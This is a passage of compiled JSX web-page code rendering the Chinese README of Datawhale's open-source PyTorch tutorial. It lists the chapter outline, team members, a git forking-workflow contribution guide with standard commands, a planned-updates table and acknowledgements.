0,s.jsx)(e.li,{children:"\u5f20\u91cf\u53ca\u5176\u8fd0\u7b97"}),"\n",(0,s.jsx)(e.li,{children:"\u81ea\u52a8\u6c42\u5bfc\u7b80\u4ecb"}),"\n",(0,s.jsx)(e.li,{children:"\u5e76\u884c\u8ba1\u7b97\u3001CUDA\u548ccuDNN\u7b80\u4ecb"}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(e.li,{children:["\u7b2c\u4e09\u7ae0\uff1aPyTorch\u7684\u4e3b\u8981\u7ec4\u6210\u6a21\u5757\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"\u601d\u8003\uff1a\u5b8c\u6210\u4e00\u5957\u6df1\u5ea6\u5b66\u4e60\u6d41\u7a0b\u9700\u8981\u54ea\u4e9b\u5173\u952e\u73af\u8282"}),"\n",(0,s.jsx)(e.li,{children:"\u57fa\u672c\u914d\u7f6e"}),"\n",(0,s.jsx)(e.li,{children:"\u6570\u636e\u8bfb\u5165"}),"\n",(0,s.jsx)(e.li,{children:"\u6a21\u578b\u6784\u5efa"}),"\n",(0,s.jsx)(e.li,{children:"\u635f\u5931\u51fd\u6570"}),"\n",(0,s.jsx)(e.li,{children:"\u4f18\u5316\u5668"}),"\n",(0,s.jsx)(e.li,{children:"\u8bad\u7ec3\u548c\u8bc4\u4f30"}),"\n",(0,s.jsx)(e.li,{children:"\u53ef\u89c6\u5316"}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(e.li,{children:["\u7b2c\u56db\u7ae0\uff1aPyTorch\u57fa\u7840\u5b9e\u6218\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"\u57fa\u7840\u5b9e\u6218\u2014\u2014Fashion-MNIST\u65f6\u88c5\u5206\u7c7b"}),"\n",(0,s.jsx)(e.li,{children:"\u57fa\u7840\u5b9e\u6218\u2014\u2014\u679c\u852c\u5206\u7c7b\u5b9e\u6218\uff08notebook\uff09"}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(e.li,{children:["\u7b2c\u4e94\u7ae0\uff1aPyTorch\u6a21\u578b\u5b9a\u4e49\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"\u6a21\u578b\u5b9a\u4e49\u65b9\u5f0f"}),"\n",(0,s.jsx)(e.li,{children:"\u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc"}),"\n",(0,s.jsx)(e.li,{children:"\u6a21\u578b\u4fee\u6539"}),"\n",(0,s.jsx)(e.li,{children:"\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6"}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(e.li,{children:["\u7b2c\u516d\u7ae0\uff1aPyTorch\u8fdb\u9636\u8bad\u7ec3\u6280\u5de7\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"\u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570"}),"\n",(0,s.jsx)(e.li,{children:"\u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387"}),"\n",(0,s.jsx)(e.li,{children:"\u6a21\u578b\u5fae\u8c03-torchvision"}),"\n",(0,s.jsx)(e.li,{children:"\u6a21\u578b\u5fae\u8c03-timm"}),"\n",(0,s.jsx)(e.li,{children:"\u534a\u7cbe\u5ea6\u8bad\u7ec3"}),"\n",(0,s.jsx)(e.li,{children:"\u6570\u636e\u6269\u5145"}),"\n",(0,s.jsx)(e.li,{children:"\u8d85\u53c2\u6570\u7684\u4fee\u6539\u53ca\u4fdd\u5b58"}),"\n",(0,s.jsx)(e.li,{children:"PyTorch\u6a21\u578b\u5b9a\u4e49\u4e0e\u8fdb\u9636\u8bad\u7ec3\u6280\u5de7"}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(e.li,{children:["\u7b2c\u4e03\u7ae0\uff1aPyTorch\u53ef\u89c6\u5316\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"\u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784"}),"\n",(0,s.jsx)(e.li,{children:"\u53ef\u89c6\u5316CNN\u5377\u79ef\u5c42"}),"\n",(0,s.jsx)(e.li,{children:"\u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b"}),"\n",(0,s.jsx)(e.li,{children:"\u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b"}),"\n",(0,s.jsx)(e.li,{children:"\u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b"}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(e.li,{children:["\u7b2c\u516b\u7ae0\uff1aPyTorch\u751f\u6001\u7b80\u4ecb\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"\u7b80\u4ecb"}),"\n",(0,s.jsx)(e.li,{children:"\u56fe\u50cf\u2014torchvision"}),"\n",(0,s.jsx)(e.li,{children:"\u89c6\u9891\u2014PyTorchVideo"}),"\n",(0,s.jsx)(e.li,{children:"\u6587\u672c\u2014torchtext"}),"\n",(0,s.jsx)(e.li,{children:"\u97f3\u9891-torchaudio"}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(e.li,{children:["\u7b2c\u4e5d\u7ae0\uff1a\u6a21\u578b\u90e8\u7f72\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"\u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406"}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(e.li,{children:["\u7b2c\u5341\u7ae0\uff1a\u5e38\u89c1\u7f51\u7edc\u4ee3\u7801\u7684\u89e3\u8bfb(\u63a8\u8fdb\u4e2d)\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsxs)(e.li,{children:["\u8ba1\u7b97\u673a\u89c6\u89c9\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsxs)(e.li,{children:["\u56fe\u50cf\u5206\u7c7b\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"ResNet\u6e90\u7801\u89e3\u8bfb"}),"\n",(0,s.jsx)(e.li,{children:"Swin Transformer\u6e90\u7801\u89e3\u8bfb"}),"\n",(0,s.jsx)(e.li,{children:"Vision Transformer\u6e90\u7801\u89e3\u8bfb"}),"\n",(0,s.jsx)(e.li,{children:"RNN\u6e90\u7801\u89e3\u8bfb"}),"\n",(0,s.jsx)(e.li,{children:"LSTM\u6e90\u7801\u89e3\u8bfb\u53ca\u5176\u5b9e\u6218"}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(e.li,{children:["\u76ee\u6807\u68c0\u6d4b\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"YOLO\u7cfb\u5217\u89e3\u8bfb\uff08\u4e0eMMYOLO\u5408\u4f5c\uff09"}),"\n"]}),"\n"]}),"\n",(0,s.jsx)(e.li,{children:"\u56fe\u50cf\u5206\u5272"}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(e.li,{children:["\u81ea\u7136\u8bed\u8a00\u5904\u7406\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"RNN\u6e90\u7801\u89e3\u8bfb"}),"\n"]}),"\n"]}),"\n",(0,s.jsx)(e.li,{children:"\u97f3\u9891\u5904\u7406"}),"\n",(0,s.jsx)(e.li,{children:"\u89c6\u9891\u5904\u7406"}),"\n",(0,s.jsx)(e.li,{children:"\u5176\u4ed6"}),"\n",(0,s.jsx)(e.li,{}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,s.jsx)(e.h2,{id:"\u4e09\u4eba\u5458\u5b89\u6392",children:"\u4e09\u3001\u4eba\u5458\u5b89\u6392"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{children:"\u6210\u5458\xa0"}),(0,s.jsx)(e.th,{children:"\u4e2a\u4eba\u7b80\u4ecb"}),(0,s.jsx)(e.th,{children:"\u4e2a\u4eba\u4e3b\u9875"})]})}),(0,s.jsxs)(e.tbody,{children:[(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"\u725b\u5fd7\u5eb7"}),(0,s.jsx)(e.td,{children:"DataWhale\u6210\u5458\uff0c\u897f\u5b89\u7535\u5b50\u79d1\u6280\u5927\u5b66\u672c\u79d1\u751f"}),(0,s.jsxs)(e.td,{children:["[",(0,s.jsx)(e.a,{href:"https://www.zhihu.com/people/obeah-82",children:"\u77e5\u4e4e"}),"][",(0,s.jsx)(e.a,{href:"https://nofish-528.github.io/",children:"\u4e2a\u4eba\u4e3b\u9875"}),"]"]})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"\u674e\u5609\u9a90"}),(0,s.jsx)(e.td,{children:"DataWhale\u6210\u5458\uff0c\u6e05\u534e\u5927\u5b66\u7814\u7a76\u751f"}),(0,s.jsxs)(e.td,{children:["[",(0,s.jsx)(e.a,{href:"https://www.zhihu.com/people/li-jia-qi-16-9/posts",children:"\u77e5\u4e4e"}),"]"]})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"\u5218\u6d0b"}),(0,s.jsx)(e.td,{children:"Datawhale\u6210\u5458\uff0c\u4e2d\u56fd\u79d1\u5b66\u9662\u6570\u5b66\u4e0e\u7cfb\u7edf\u79d1\u5b66\u7814\u7a76\u6240\u7814\u7a76\u751f"}),(0,s.jsxs)(e.td,{children:["[",(0,s.jsx)(e.a,{href:"https://www.zhihu.com/people/ming-ren-19-34/asks",children:"\u77e5\u4e4e"}),"]"]})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"\u9648\u5b89\u4e1c"}),(0,s.jsx)(e.td,{children:"DataWhale\u6210\u5458\uff0c\u54c8\u5c14\u6ee8\u5de5\u4e1a\u5927\u5b66\u7814\u7a76\u751f"}),(0,s.jsxs)(e.td,{children:["[",(0,s.jsx)(e.a,{href:"https://andongblue.github.io/chenandong.github.io/",children:"\u4e2a\u4eba\u4e3b\u9875"}),"]"]})]})]})]}),"\n",(0,s.jsx)(e.p,{children:"\u6559\u7a0b\u8d21\u732e\u60c5\u51b5\uff08\u5df2\u4e0a\u7ebf\u8bfe\u7a0b\u5185\u5bb9\uff09\uff1a"}),"\n",(0,s.jsx)(e.p,{children:"\u674e\u5609\u9a90\uff1a\u7b2c\u4e09\u7ae0\uff1b\u7b2c\u56db\u7ae0\uff1b\u7b2c\u4e94\u7ae0\uff1b\u7b2c\u516d\u7ae0\uff1b\u7b2c\u4e03\u7ae0\uff1b\u7b2c\u516b\u7ae0\uff1b\u5185\u5bb9\u6574\u5408"}),"\n",(0,s.jsx)(e.p,{children:"\u725b\u5fd7\u5eb7\uff1a\u7b2c\u4e00\u7ae0\uff1b\u7b2c\u4e09\u7ae0\uff1b\u7b2c\u516d\u7ae0\uff1b\u7b2c\u4e03\u7ae0\uff1b\u7b2c\u516b\u7ae0\uff0c\u7b2c\u4e5d\u7ae0\uff0c\u7b2c\u5341\u7ae0\uff1b\u6587\u6863\u90e8\u7f72"}),"\n",(0,s.jsx)(e.p,{children:"\u5218\u6d0b\uff1a\u7b2c\u4e8c\u7ae0\uff1b\u7b2c\u4e09\u7ae0"}),"\n",(0,s.jsx)(e.p,{children:"\u9648\u5b89\u4e1c\uff1a\u7b2c\u4e8c\u7ae0\uff1b\u7b2c\u4e09\u7ae0\uff1b\u7b2c\u4e03\u7ae0"}),"\n",(0,s.jsx)(e.h2,{id:"\u56db-\u8bfe\u7a0b\u7f16\u6392\u4e0e\u914d\u5957\u89c6\u9891",children:"\u56db\u3001 \u8bfe\u7a0b\u7f16\u6392\u4e0e\u914d\u5957\u89c6\u9891"}),"\n",(0,s.jsxs)(e.details,{children:["\n",(0,s.jsxs)(e.p,{children:["\u90e8\u5206\u7ae0\u8282\u76f4\u64ad\u8bb2\u89e3\u8bf7\u89c2\u770bB\u7ad9\u56de\u653e\uff08\u6301\u7eed\u66f4\u65b0\uff09\uff1a",(0,s.jsx)(e.a,{href:"https://www.bilibili.com/video/BV1L44y1472Z",children:"https://www.bilibili.com/video/BV1L44y1472Z"})]}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsxs)(e.li,{children:["\n",(0,s.jsx)(e.p,{children:"\u8bfe\u7a0b\u7f16\u6392\uff1a\n\u6df1\u5165\u6d45\u51faPyTorch\u5206\u4e3a\u4e09\u4e2a\u9636\u6bb5\uff1aPyTorch\u6df1\u5ea6\u5b66\u4e60\u57fa\u7840\u77e5\u8bc6\u3001PyTorch\u8fdb\u9636\u64cd\u4f5c\u3001PyTorch\u6848\u4f8b\u5206\u6790\u3002"}),"\n"]}),"\n",(0,s.jsxs)(e.li,{children:["\n",(0,s.jsx)(e.p,{children:"\u4f7f\u7528\u65b9\u6cd5:"}),"\n",(0,s.jsx)(e.p,{children:"\u6211\u4eec\u7684\u8bfe\u7a0b\u5185\u5bb9\u90fd\u4ee5markdown\u683c\u5f0f\u6216jupyter notebook\u7684\u5f62\u5f0f\u4fdd\u5b58\u5728\u672c\u4ed3\u5e93\u5185\u3002\u9664\u4e86\u591a\u770b\u52a0\u6df1\u8bfe\u7a0b\u5185\u5bb9\u7684\u7406\u89e3\u5916\uff0c\u6700\u91cd\u8981\u7684\u8fd8\u662f\u52a8\u624b\u7ec3\u4e60\u3001\u7ec3\u4e60\u3001\u7ec3\u4e60"}),"\n"]}),"\n",(0,s.jsxs)(e.li,{children:["\n",(0,s.jsx)(e.p,{children:"\u7ec4\u961f\u5b66\u4e60\u5b89\u6392:"}),"\n",(0,s.jsx)(e.p,{children:"\u7b2c\u4e00\u90e8\u5206\uff1a\u7b2c\u4e00\u7ae0\u5230\u7b2c\u56db\u7ae0\uff0c\u5b66\u4e60\u5468\u671f\uff1a10\u5929\uff1b"}),"\n",(0,s.jsx)(e.p,{children:"\u7b2c\u4e8c\u90e8\u5206\uff1a\u7b2c\u4e94\u7ae0\u5230\u7b2c\u516b\u7ae0\uff0c\u5b66\u4e60\u5468\u671f\uff1a11\u5929"}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,s.jsx)(e.h2,{id:"\u4e94\u5173\u4e8e\u8d21\u732e",children:"\u4e94\u3001\u5173\u4e8e\u8d21\u732e"}),"\n",(0,s.jsxs)(e.details,{children:[" \n",(0,s.jsxs)(e.p,{children:["\u672c\u9879\u76ee\u4f7f\u7528",(0,s.jsx)(e.code,{children:"Forking"}),"\u5de5\u4f5c\u6d41\uff0c\u5177\u4f53\u53c2\u8003",(0,s.jsx)(e.a,{href:"https://www.atlassian.com/git/tutorials/comparing-workflows/forking-workflow",children:"atlassian\u6587\u6863"}),"\u5927\u81f4\u6b65\u9aa4\u5982\u4e0b\uff1a"]}),"\n",(0,s.jsxs)(e.ol,{children:["\n",(0,s.jsx)(e.li,{children:"\u5728GitHub\u4e0aFork\u672c\u4ed3\u5e93"}),"\n",(0,s.jsx)(e.li,{children:"Clone Fork\u540e\u7684\u4e2a\u4eba\u4ed3\u5e93"}),"\n",(0,s.jsxs)(e.li,{children:["\u8bbe\u7f6e",(0,s.jsx)(e.code,{children:"upstream"}),"\u4ed3\u5e93\u5730\u5740\uff0c\u5e76\u7981\u7528",(0,s.jsx)(e.code,{children:"push"})]}),"\n",(0,s.jsxs)(e.li,{children:["\u4f7f\u7528\u5206\u652f\u5f00\u53d1\uff0c\u8bfe\u7a0b\u5206\u652f\u540d\u4e3a",(0,s.jsx)(e.code,{children:"lecture{#NO}"}),"\uff0c",(0,s.jsx)(e.code,{children:"#NO"}),"\u4fdd\u6301\u4e24\u4f4d\uff0c\u5982",(0,s.jsx)(e.code,{children:"lecture07"}),"\uff0c\u5bf9\u5e94\u8bfe\u7a0b\u76ee\u5f55"]}),"\n",(0,s.jsx)(e.li,{children:"PR\u4e4b\u524d\u4fdd\u6301\u4e0e\u539f\u59cb\u4ed3\u5e93\u7684\u540c\u6b65\uff0c\u4e4b\u540e\u53d1\u8d77PR\u8bf7\u6c42"}),"\n"]}),"\n",(0,s.jsx)(e.p,{children:"\u547d\u4ee4\u793a\u4f8b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-shell",children:"# fork\n# clone\ngit clone git@github.com:USERNAME/thorough-pytorch.git\n# set upstream\ngit remote add upstream git@github.com:datawhalechina/thorough-pytorch.git\n# disable upstream push\ngit remote set-url --push upstream DISABLE\n# verify\ngit remote -v\n# some sample output:\n# origin\tgit@github.com:NoFish-528/thorough-pytorch.git (fetch)\n# origin\tgit@github.com:NoFish-528/thorough-pytorch.git (push)\n# upstream\tgit@github.com:datawhalechina/thorough-pytorch.git (fetch)\n# upstream\tDISABLE (push)\n# do your work\ngit checkout -b lecture07\n# edit and commit and push your changes\ngit push -u origin lecture07\n# keep your fork up to date\n## fetch upstream main and merge with forked main branch\ngit fetch upstream\ngit checkout main\ngit merge upstream/main\n## rebase brach and force push\ngit checkout lecture07\ngit rebase main\ngit push -f\n"})}),"\n",(0,s.jsx)(e.h3,{id:"commit-message",children:"Commit Message"}),"\n",(0,s.jsxs)(e.p,{children:["\u63d0\u4ea4\u4fe1\u606f\u4f7f\u7528\u5982\u4e0b\u683c\u5f0f\uff1a",(0,s.jsx)(e.code,{children:"<type>: <short summary>"})]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{children:"<type>: <short summary>\n \u2502 \u2502\n \u2502 \u2514\u2500\u2af8 Summary in present tense. Not capitalized. No period at the end.\n \u2502\n \u2514\u2500\u2af8 Commit Type: [docs #NO]:others\n"})}),"\n",(0,s.jsxs)(e.p,{children:[(0,s.jsx)(e.code,{children:"others"}),"\u5305\u62ec\u975e\u8bfe\u7a0b\u76f8\u5173\u7684\u6539\u52a8\uff0c\u5982\u672c",(0,s.jsx)(e.code,{children:"README.md"}),"\u4e2d\u7684\u53d8\u52a8\uff0c",(0,s.jsx)(e.code,{children:".gitignore"}),"\u7684\u8c03\u6574\u7b49\u3002"]}),"\n"]}),"\n",(0,s.jsx)(e.h2,{id:"\u516d\u66f4\u65b0\u8ba1\u5212",children:"\u516d\u3001\u66f4\u65b0\u8ba1\u5212"}),"\n",(0,s.jsxs)(e.details,{children:["\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u5185\u5bb9"}),(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u66f4\u65b0\u65f6\u95f4"}),(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u5185\u5bb9"})]})}),(0,s.jsxs)(e.tbody,{children:[(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"apex"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"apex\u7684\u7b80\u4ecb\u548c\u4f7f\u7528"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u6a21\u578b\u90e8\u7f72"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"Flask\u90e8\u7f72PyTorch\u6a21\u578b"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"TorchScript"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"TorchScript"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u5e76\u884c\u8bad\u7ec3"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u5e76\u884c\u8bad\u7ec3"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u6a21\u578b\u9884\u8bad\u7ec3 - torchhub"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"torchhub\u7684\u7b80\u4ecb\u548c\u4f7f\u7528\u65b9\u6cd5"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u76ee\u6807\u68c0\u6d4b - SSD"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"SSD\u7684\u7b80\u4ecb\u548c\u5b9e\u73b0"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u76ee\u6807\u68c0\u6d4b - RCNN\u7cfb\u5217"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"Fast-RCNN & Mask-RCNN"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u76ee\u6807\u68c0\u6d4b - DETR"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"DETR\u7684\u5b9e\u73b0"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u56fe\u50cf\u5206\u7c7b - GoogLeNet"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"GoogLeNet\u7684\u4ecb\u7ecd\u4e0e\u5b9e\u73b0"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u56fe\u50cf\u5206\u7c7b - MobileNet\u7cfb\u5217"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"MobileNet\u7cfb\u5217\u4ecb\u7ecd\u4e0e\u5b9e\u73b0"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u56fe\u50cf\u5206\u7c7b - GhostNet"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"GhostNet\u4ee3\u7801\u8bb2\u89e3"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u751f\u6210\u5f0f\u5bf9\u6297\u7f51\u7edc - \u751f\u6210\u624b\u5199\u6570\u5b57\u5b9e\u6218"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u751f\u6210\u6570\u5b57\u5e76\u53ef\u89c6\u5316"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u751f\u6210\u5f0f\u5bf9\u6297\u7f51\u7edc - DCGAN"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"}})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u98ce\u683c\u8fc1\u79fb - StyleGAN"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"}})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u751f\u6210\u7f51\u7edc - VAE"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"}})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u56fe\u50cf\u5206\u5272 Deeplab\u7cfb\u5217"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"Deeplab\u7cfb\u5217\u4ee3\u7801\u8bb2\u89e3"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u81ea\u7136\u8bed\u8a00\u5904\u7406 LSTM"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"LSTM\u60c5\u611f\u5206\u6790\u5b9e\u6218"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u81ea\u7136\u8bed\u8a00\u5904\u7406 Transformer"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"}})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u81ea\u7136\u8bed\u8a00\u5904\u7406 BERT"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"}})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u89c6\u9891"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u5f85\u5b9a"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u97f3\u9891"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u5f85\u5b9a"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u81ea\u5b9a\u4e49CUDA\u6269\u5c55\u548c\u7b97\u5b50"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"}})]})]})]}),"\n"]}),"\n",(0,s.jsx)(e.h2,{id:"\u4e03\u9e23\u8c22\u4e0e\u53cd\u9988",children:"\u4e03\u3001\u9e23\u8c22\u4e0e\u53cd\u9988"}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsxs)(e.li,{children:["\u975e\u5e38\u611f\u8c22DataWhale\u6210\u5458 \u53f6\u524d\u5764 @",(0,s.jsx)(e.a,{href:"https://github.com/PureBuckwheat",children:"PureBuckwheat"})," \u548c \u80e1\u9510\u950b @",(0,s.jsx)(e.a,{href:"https://github.com/Relph1119",children:"Relph1119"})," \u5bf9\u6587\u6863\u7684\u7ec6\u81f4\u6821\u5bf9\uff01"]}),"\n",(0,s.jsx)(e.li,{children:"\u5982\u679c\u6709\u4efb\u4f55\u60f3\u6cd5\u53ef\u4ee5\u8054\u7cfb\u6211\u4eecDataWhale\u4e5f\u6b22\u8fce\u5927\u5bb6\u591a\u591a\u63d0\u51faissue\u3002"}),"\n",(0,s.jsx)(e.li,{children:"\u7279\u522b\u611f\u8c22\u4ee5\u4e0b\u4e3a\u6559\u7a0b\u505a\u51fa\u8d21\u732e\u7684\u540c\u5b66\uff01\u5e76\u7279\u522b\u611f\u8c22MMYOLO\u7684\u8d21\u732e\u8005\u4eec\uff01"}),"\n"]}),"\n",(0,s.jsxs)(e.a,{href:"https://github.com/datawhalechina/thorough-pytorch/graphs/contributors",children:["\n ",(0,s.jsx)(e.img,{src:"https://contrib.rocks/image?repo=datawhalechina/thorough-pytorch"}),"\n"]}),"\n",(0,s.jsxs)(e.p,{children:["Made with ",(0,s.jsx)(e.a,{href:"https://contrib.rocks",children:"contrib.rocks"}),"."]}),"\n",(0,s.jsx)(e.h2,{id:"\u516b\u5173\u6ce8\u6211\u4eec",children:"\u516b\u3001\u5173\u6ce8\u6211\u4eec"}),"\n",(0,s.jsx)(e.div,{align:"center",children:(0,s.jsx)(e.img,{src:"https://raw.githubusercontent.com/datawhalechina/easy-rl/master/docs/res/qrcode.jpeg",width:"250",height:"270",alt:"Datawhale\u662f\u4e00\u4e2a\u4e13\u6ce8AI\u9886\u57df\u7684\u5f00\u6e90\u7ec4\u7ec7\uff0c\u4ee5\u201cfor the 